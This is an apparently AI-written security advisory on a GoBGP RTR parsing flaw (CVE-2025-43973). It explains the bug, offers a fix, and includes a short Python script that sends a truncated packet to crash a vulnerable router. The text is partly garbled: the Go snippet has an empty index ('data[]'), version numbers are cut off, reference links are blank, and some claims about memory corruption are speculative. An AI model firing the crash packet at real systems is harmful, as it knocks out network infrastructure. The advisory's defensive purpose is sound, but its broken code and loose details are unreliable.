Early in 2025, a dangerous vulnerability was found in GoBGP—one of the most popular border gateway protocol (BGP) implementations used in data centers and cloud environments. The bug, now named CVE-2025-43973, affects all versions before v3.35. and involved improper input length checking inside the pkg/packet/rtr/rtr.go file.
If you’re a DevOps engineer, network architect, or security analyst, this is a serious risk for your routers and cloud interconnects. Below, we break down how the bug works, show example code, cover potential exploit scenarios, and share links to original references.
What’s The Problem? (The Flaw Explained)
GoBGP uses an internal Go package called rtr (for Resource Public Key Infrastructure Routing Table Router). Code in rtr.go deals directly with parsing protocol messages. The vulnerability happens because the code did not verify that the entire expected message was actually present in the input—it just read fields, even when not enough bytes were available.
This means an attacker could send a truncated, malformed packet to a GoBGP instance, and GoBGP would try to process it anyway, likely causing a panic, memory corruption, or a crash.
Code Snippet: What Went Wrong?
Here’s a simplified example of the vulnerable logic (based on GoBGP’s source code):
func ParseRTRMessage(data []byte) (*RTRMessage, error) {
// Supposed to read header: 8 bytes
// But what if data has fewer than 8 bytes?
version := data[]
msgType := data[1]
length := binary.BigEndian.Uint32(data[4:8])
// ...later code attempts to access data[8:length]
}
In the vulnerable versions, there was no length check before reading these bytes. If the input data was shorter than expected, Go would panic (index out of range, or out-of-bounds memory). Normally, robust input parsing *must always* check overall buffer lengths before any access:
if len(data) < 8 {
return nil, errors.New("RTR header too short")
}
Exploit Scenario: How Attackers Could Use This
- Denial of Service (DoS): Malicious actors could craft a malformed RTR message with a short buffer, causing a parsing panic inside GoBGP, crashing the process and knocking out network connections.
- Potential Memory Corruption: If Go’s runtime memory protections weren’t perfect, there could be more severe consequences, like leaking data or even running code—though in Go, that’s rare.
- Automated Attacks: Bots scanning for GoBGP routers on the internet could send such bad packets and disrupt multiple networks.
Example Exploit Packet (Python)
# Send a too-short RTR packet to GoBGP
import socket
message = b'\x01\x02\x00\x00\x00\x00\x00' # Only 7 bytes, valid header needs 8+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('gobgp-router.example.com', 8282)) # Default RTR/TCP port
s.sendall(message)
Running this against a vulnerable GoBGP box would crash or freeze the process.
GoBGP Vulnerability Bulletin:
Patch Pull Request:
gobgp/pull/3334
- Official Release/Changelog (v3.35.):
GoBGP Releases
CVE Details:
CVE-2025-43973 MITRE Entry (link to be updated when it appears)
Mitigation and Fix
Immediate Action:
Update GoBGP to v3.35. or later.
Long-term:
- If running GoBGP as part of a router or gateway, add transport-level firewalls to restrict who can connect to the RTR port.
Why This Matters
BGP routers are *critical infrastructure*. A bug like CVE-2025-43973 means the “gatekeepers” of the internet could be knocked offline by a trivial, unauthenticated network packet. It’s a strong reminder that input validation is always essential, even in high-level languages like Go.
Summary
CVE-2025-43973 is a classic buffer/length-check bug, but its impact in GoBGP could be widespread—enabling remote denial-of-service on the backbone of many production networks.
Patch quickly and review all software that parses external data. Even Go code isn’t immune to simple security mistakes!
*Exclusively written by AI for security practitioners. Please share, patch, and stay safe!*
Timeline
Published on: 04/21/2025 01:15:45 UTC
Last modified on: 04/21/2025 14:23:45 UTC